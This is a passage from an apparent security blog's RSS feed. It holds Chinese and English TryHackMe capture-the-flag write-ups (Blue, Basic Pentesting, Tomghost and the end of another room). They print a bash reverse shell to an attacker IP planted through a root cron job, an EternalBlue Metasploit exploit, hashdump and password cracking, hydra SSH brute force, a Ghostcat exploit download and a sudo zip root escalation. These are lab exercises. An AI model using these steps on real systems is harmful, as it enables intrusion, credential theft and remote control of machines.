&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----END RSA PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;那我們當然就把這一串存到自己的電腦，再嘗試 run 看看囉!!&lt;code&gt;chmod 600 James_key.pem&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh james@10.10.214.180 -i James_key.pem&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9ac24-8lp75sM.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 key 需要用密碼!爆密碼- 老梗，請約翰出場，先找 &lt;code&gt;ssh2john&lt;/code&gt; 把 key 轉 &lt;code&gt;john&lt;/code&gt; 的格式&lt;code&gt;python3 ../ssh2john.py James_key.pem &amp;gt; James_john.txt&lt;/code&gt;再來就 run john 囉!&lt;code&gt;john James_john.txt --wordlist=/opt/rockyou.txt&lt;/code&gt;- 密碼就出來囉!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7d7bc-ohLWuxD.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;james13&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;(其實我先跑了 rot47 的密碼，但失敗了QQ)使用 ssh 進行登入- &lt;code&gt;ssh james@10.10.214.180 -i James_key.pem&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;搭配密碼 &lt;code&gt;james13&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;成功登入!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e9375-LciR33S.png"&gt;&lt;/li&gt;
&lt;li&gt;取得 &lt;code&gt;user.txt``thm{65c1aaf000506e56996822c6281e6bf7}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;之前我們都用 &lt;code&gt;Linenum&lt;/code&gt;，這次來換換口味，使用小豌豆 &lt;code&gt;Linpeas&lt;/code&gt; 吧!先把檔案 scp 上去&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scp -i James_key.pem ../linpeas.sh james@10.10.214.180:/home/james&lt;/code&gt;馬上就噴出了一個很重要的 Cron job- 小豌豆好棒棒!!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7f03b-AdxffbY.png"&gt;&lt;/li&gt;
&lt;li&gt;每分鐘會用 root 權限 &lt;code&gt;curl&lt;/code&gt; 一次 &lt;code&gt;overpass.thm&lt;/code&gt; 的網址，然後把值丟去bash發現 &lt;code&gt;/etc/hosts&lt;/code&gt; 沒有設權限- 所以我們可以把 &lt;code&gt;overpass.thm&lt;/code&gt; 轉到自己的伺服器上&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d37dc-IBeuwFc.png"&gt;在自己的電腦上準備一個資料夾路徑- &lt;code&gt;downloads/src/buildscript.sh&lt;/code&gt; 的檔案&lt;/li&gt;
&lt;li&gt;內容物為自己的 Reverse shell&lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.14.7.198/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;然後在自己的電腦上開一下 &lt;code&gt;nc&lt;/code&gt; 進行監聽- &lt;code&gt;nc -vlk 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c6fde-Lom2bma.png"&gt;開啟 Python server- &lt;code&gt;python3 -m http.server&lt;/code&gt;攻擊戳回來了!!!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7273a-0YbxxeO.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2b942-Yow9Uze.png"&gt;取得 root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3fb0e-H4HLJ1V.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;thm{7f336f8c359dbac18d54fdd64ea753bb}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Blue (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/25/blue-try-hack-me-writeup/</link><pubDate>Sun, 25 Jul 2021 23:54:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/25/blue-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/blue"&gt;https://tryhackme.com/room/blue&lt;/a&gt;&lt;br&gt;
IP : 10.10.158.118&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Q: How many ports are open with a port number under 1000?&lt;code&gt;nmap -p 1-1000 10.10.158.118&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;回傳 3 個135/tcp open msrpc&lt;/li&gt;
&lt;li&gt;139/tcp open netbios-ssn&lt;/li&gt;
&lt;li&gt;445/tcp open microsoft-ds老規矩習慣的 &lt;code&gt;nmap -A 10.10.158.118&lt;/code&gt; 看看- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/22266-Dxug1il.png"&gt;Q: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)- nmap 看到的 Windows7 版本拿去 Google&lt;code&gt;windows 7 professional 7601 service pack 1 exploit&lt;/code&gt;就會出現 &lt;code&gt;MS17-010&lt;/code&gt; EternalBlue&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="metasploit"&gt;Metasploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;開啟 &lt;code&gt;msfconsole&lt;/code&gt;搜尋 &lt;code&gt;search MS17-010&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;選擇 &lt;code&gt;exploit/windows/smb/ms17_010_eternalblue&lt;/code&gt;輸入 &lt;code&gt;use exploit/windows/smb/ms17_010_eternalblue&lt;/code&gt;- 輸入 &lt;code&gt;show options&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;設定需要的 options&lt;code&gt;set RHOSTS 10.10.158.118&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set LHOST 10.14.7.198&lt;/code&gt;輸入 &lt;code&gt;set payload windows/x64/shell/reverse_tcp&lt;/code&gt;輸入 &lt;code&gt;exploit&lt;/code&gt;- 成功拿到 shell!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1d608-7zwssuS.png"&gt;&lt;/li&gt;
&lt;li&gt;輸入 &lt;code&gt;whoami&lt;/code&gt; 可以發現，其實已經是 &lt;code&gt;system&lt;/code&gt; 權限了&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使用-meterpreter"&gt;使用 Meterpreter&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;存參https://paper.seebug.org/29/簡單來說，Meterpreter是提供給&amp;quot;後滲透&amp;quot;使用- 也就是說，比起cmd有更多方便的功能醬子&lt;/li&gt;
&lt;li&gt;例如 &lt;code&gt;getsystem&lt;/code&gt; 可自動提權Google &lt;code&gt;shell_to_meterpreter&lt;/code&gt;- 取得 &lt;code&gt;post/multi/manage/shell_to_meterpreter``use post/multi/manage/shell_to_meterpreter&lt;/code&gt;- &lt;code&gt;show options&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set LHOST 10.14.7.198&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;確定剛剛我們 ctrl + z 的 session輸入 &lt;code&gt;sessions&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4650a-6g0oAXX.png"&gt;&lt;code&gt;set SESSION 1``run&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/89610-HkESyhT.png"&gt;輸入 &lt;code&gt;sessions&lt;/code&gt;- 可以看到目前有兩個 session&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/383c0-0OfEmDn.png"&gt;&lt;/li&gt;
&lt;li&gt;選第 2 個輸入 &lt;code&gt;sessions 2&lt;/code&gt;進入 shell- 輸入 &lt;code&gt;shell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;輸入 &lt;code&gt;whoami&lt;/code&gt;確定目前自己是 &lt;code&gt;nt authority\system&lt;/code&gt;按下 Ctrl + Z 回到 Meterpreter 選單- 輸入 &lt;code&gt;ps&lt;/code&gt; 觀察目前系統執行的 process&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6caa7-jxtBWA8.png"&gt;尋找最後一個 process&lt;code&gt;3056 692 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe&lt;/code&gt;輸入 &lt;code&gt;migrate 3056&lt;/code&gt; 遷移到 PID 上輸入 &lt;code&gt;hashdump&lt;/code&gt;- 可以看到不同使用者的 hash&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ebb1e-ErNJNT7.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來一般的使用者應該是 Jon把 &lt;code&gt;Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::&lt;/code&gt; 存成 txt 用 john 來破- &lt;code&gt;john jon.txt --format=NT --wordlist=/opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;1 秒鐘就爆出來ㄌ &lt;code&gt;alqfna22&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="各種-flag"&gt;各種 Flag&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Flag1? This flag can be found at the system root.&lt;code&gt;type flag1.txt``flag{access_the_machine}&lt;/code&gt;Flag2? This flag can be found at the location where passwords are stored within Windows.- 他說 Flag 存在 Windows 存密碼的地方&lt;/li&gt;
&lt;li&gt;Windows 的密碼 hash 存在 &lt;code&gt;C:\Windows\System32\config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;裡面有 `type flag2.txt``flag{sam_database_elevated_access}flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.- 其實我覺得這裡有一點點暴力，但這一題真的有點通靈&lt;/li&gt;
&lt;li&gt;已經發現前兩隻 flag 檔名是 &lt;code&gt;flag1.txt&lt;/code&gt; , &lt;code&gt;flag2.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以我想說直接在 C槽 根目錄爆搜&lt;code&gt;dir flag*.txt /s /p&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/74cc4-StiISuC.png"&gt;&lt;/li&gt;
&lt;li&gt;然後就噴出來ㄌ www&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flag{admin_documents_can_be_valuable}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;這也提醒我們，可以觀察使用者的 Documents 或 Desktop但據我所知大多數的台灣人並沒有用 &amp;ldquo;我的文件&amp;rdquo; ㄉ習慣 www&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Basic Pentesting (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/24/basic-pentesting-try-hack-me-writeup/</link><pubDate>Sat, 24 Jul 2021 23:51:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/24/basic-pentesting-try-hack-me-writeup/</guid><description>&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/basicpentestingjt"&gt;https://tryhackme.com/room/basicpentestingjt&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Target IP : &lt;code&gt;10.10.165.235&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="scanning"&gt;Scanning&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nmap -A 10.10.165.235&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 04:40 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report for 10.10.165.235
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up (0.27s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: 994 closed ports
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn&amp;#39;t have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: | Supported methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8080/tcp open http Apache Tomcat 9.0.7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Apache Tomcat
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Apache Tomcat/9.0.7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; |_clock-skew: mean: 1h20m01s, deviation: 2h18m34s, median: 0s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; |_nbstat: NetBIOS name: BASIC2, NetBIOS user: , NetBIOS MAC: (unknown)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | Computer name: basic2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | NetBIOS computer name: BASIC2\x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | Domain name: \x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | FQDN: basic2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; |_ System time: 2021-07-24T04:41:05-04:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; |_ message_signing: disabled (dangerous, but default)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | 2.02:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; |_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | date: 2021-07-24T08:41:04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; |_ start_date: N/A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Nmap done: 1 IP address (1 host up) scanned in 52.95 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;The open port is22 SSH&lt;a href="https://www.exploit-db.com/exploits/40136"&gt;OpenSSH 7.2p2 - Username Enumeration&lt;/a&gt;80 HTTP- Apache/2.4.18 : no vulnerability139、445 SMB- Samba smbd 4.3.11-Ubuntu : no vulnerability8009 AJP138080 Tomcat&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="access-website-80-port"&gt;Access Website (80 port)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use dirsearch&lt;code&gt;python3 dirsearch.py -u http://10.10.165.235/ -e all&lt;/code&gt;Question1 : What is the name of the hidden directory on the web server(enter name without /)?- developmentAfter access the development page, we can get 2 files- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7ad3a-h9T1zYV.png"&gt;&lt;/li&gt;
&lt;li&gt;They are some mail from J and K to talk about some upgrade smb issue.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="try-to-find-the-username"&gt;Try to find the username&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enum4linux 10.10.165.235 -a&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/30e0e-ccICsWv.png"&gt;&lt;/li&gt;
&lt;li&gt;So there are 2 username we find&lt;code&gt;kay&lt;/code&gt; and &lt;code&gt;jan&lt;/code&gt;Although the verison of SSH services is 7.2p2, it has a vulnerability with Username Enumeration- &lt;a href="https://www.exploit-db.com/exploits/40136"&gt;https://www.exploit-db.com/exploits/40136&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;But I have tried and it doesn&amp;rsquo;t work&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a4778-Xwze4iP.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="what-is-the-password"&gt;What is the password?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We need to burp force the password for these 2 users&lt;/li&gt;
&lt;li&gt;Use hydra to check with rockyou.txt&lt;code&gt;hydra -l kay -P /opt/rockyou.txt ssh://10.10.165.235&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hydra -l jan -P /opt/rockyou.txt ssh://10.10.165.235&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8d930-77oZcJ3.png"&gt;&lt;/li&gt;
&lt;li&gt;We find the password : &lt;code&gt;armando&lt;/code&gt; with user &lt;code&gt;jan&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="login-into-ssh-services-with-jans-credential"&gt;Login into ssh services with jan&amp;rsquo;s credential&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ssh jan@10.10.165.235&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We are login with jan, but we can&amp;rsquo;t cat &lt;code&gt;/home/kay/pass.bak&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/611e6-2dQSsQP.png"&gt;And then we find some cool things at `/home/kay/.ssh‵- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/de435-bkNLRzZ.png"&gt;&lt;/li&gt;
&lt;li&gt;This is the login key file he/she forgot to remove, so we can login with ssh without password, we can try to scp it to our computer by &lt;code&gt;scp -r jan@10.10.165.235:/home/kay/.ssh .&lt;/code&gt;Use ssh command to try to login with kay- &lt;code&gt;chmod 600 id_rsa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh kay@10.10.165.235 -i id_rsa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/baff7-ZYwW4DA.png"&gt;&lt;/li&gt;
&lt;li&gt;But the key file needs password, so we need to crak&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="crack-ssh-key"&gt;Crack ssh key&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;a href="https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py"&gt;ssh2john&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python ssh2john.py id_rsa &amp;gt; john_ssh&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d4024-q9iN7v4.png"&gt;Run john with wordlist rockyou- &lt;code&gt;john john_ssh --wordlist=/opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cdba0-m2Dtw1b.png"&gt;&lt;/li&gt;
&lt;li&gt;So password is &lt;code&gt;beeswax&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="use-key-file-and-password-to-login-with-ssh"&gt;Use key file and password to login with ssh&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d7904-uUwKzEO.png"&gt;&lt;/li&gt;
&lt;li&gt;And we can find the final flag!&lt;code&gt;heresareallystrongpasswordthatfollowsthepasswordpolicy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="final-screenshot"&gt;Final Screenshot&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d8bda-yPvQ7E1.png"&gt;&lt;/p&gt;</description></item><item><title>Tomghost (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/24/tomghost-try-hack-me-writeup/</link><pubDate>Sat, 24 Jul 2021 13:28:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/24/tomghost-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/tomghost"&gt;https://tryhackme.com/room/tomghost&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.9.138&lt;/p&gt;
&lt;h2 id="scanning"&gt;Scanning&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nmap -A 10.10.9.138&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/82466-KJKjqsB.png"&gt;&lt;/li&gt;
&lt;li&gt;有開的 port22 SSH 7.2ps&lt;/li&gt;
&lt;li&gt;53 tcpwarpped&lt;/li&gt;
&lt;li&gt;8009 AJP13 1.3&lt;/li&gt;
&lt;li&gt;8080 Tomcat 9.0.30&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 searchsploit 搜尋 AJP&lt;code&gt;searchsploit AJP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以找到 &lt;code&gt;Apache Tomcat - AJP 'Ghostcat File Read/Inclusion&lt;/code&gt;&lt;a href="https://www.exploit-db.com/exploits/48143%60wget"&gt;https://www.exploit-db.com/exploits/48143`wget&lt;/a&gt; &lt;a href="https://www.exploit-db.com/download/48143%60%60mv"&gt;https://www.exploit-db.com/download/48143``mv&lt;/a&gt; 48143 48143.py``python 48143.py`- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/25613-0SQat66.png"&gt;&lt;/li&gt;
&lt;li&gt;就直接噴出帳號密碼ㄌ帳號 : &lt;code&gt;skyfuck&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : &lt;code&gt;8730281lkjlkjdqlksalks&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh-進去晃晃"&gt;SSH 進去晃晃&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ssh skyfuck@10.10.9.138&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現家目錄裡面有兩個檔案&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5434b-hq6I5CF.png"&gt;&lt;/li&gt;
&lt;li&gt;先抓出來&lt;code&gt;scp -r skyfuck@10.10.9.138:/home/skyfuck .&lt;/code&gt;在 &lt;code&gt;/home/merlin&lt;/code&gt; 發現 &lt;code&gt;user.txt&lt;/code&gt;- &lt;code&gt;THM{GhostCat_1s_so_cr4sy}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="暴力破解-pgp"&gt;暴力破解 pgp&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;看到一個 asc 檔案 跟一個 pgp 檔案用 file 觀察他們在幹嘛&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8edbb-OmGBxmK.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.pgp&lt;/code&gt; 是加密後ㄉ東西&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.asc&lt;/code&gt; 的是 private keypgp 轉 john- &lt;code&gt;gpg2john tryhackme.asc &amp;gt; john_gpg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;備註 : gpg 是開源版本的 pgpref :　https://zh.wikipedia.org/wiki/PGP我們要破的是 &lt;code&gt;.asc&lt;/code&gt; 的 private key 檔案求密碼用 john 爆破，With rockyou.txt- &lt;code&gt;john john_gpg --wordlist=/opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d3da7-cl2k7x5.png"&gt;&lt;/li&gt;
&lt;li&gt;破出密碼為 &lt;code&gt;alexandru``gpg --decrypt credential.pgp&lt;/code&gt;- 輸入密碼&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/30489-Y1D3ND3.png"&gt;取得 &lt;code&gt;merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;su merlin&lt;/code&gt;輸入密碼&lt;code&gt;sudo -l&lt;/code&gt;- &lt;code&gt;(root : root) NOPASSWD: /usr/bin/zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現有 zip 的 sudo 權限到 &lt;a href="https://gtfobins.github.io/"&gt;GTFOBins&lt;/a&gt; 找 zip 提權方法- 可以 sudo 的&lt;code&gt;TF=$(mktemp -u)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo zip $TF /etc/hosts -T -TT 'sh #'&lt;/code&gt;提權成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/71f04-CuifiyF.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;root.txt&lt;/code&gt; : &lt;code&gt;THM{Z1P_1S_FAKE}&lt;/code&gt;&lt;/li&gt;
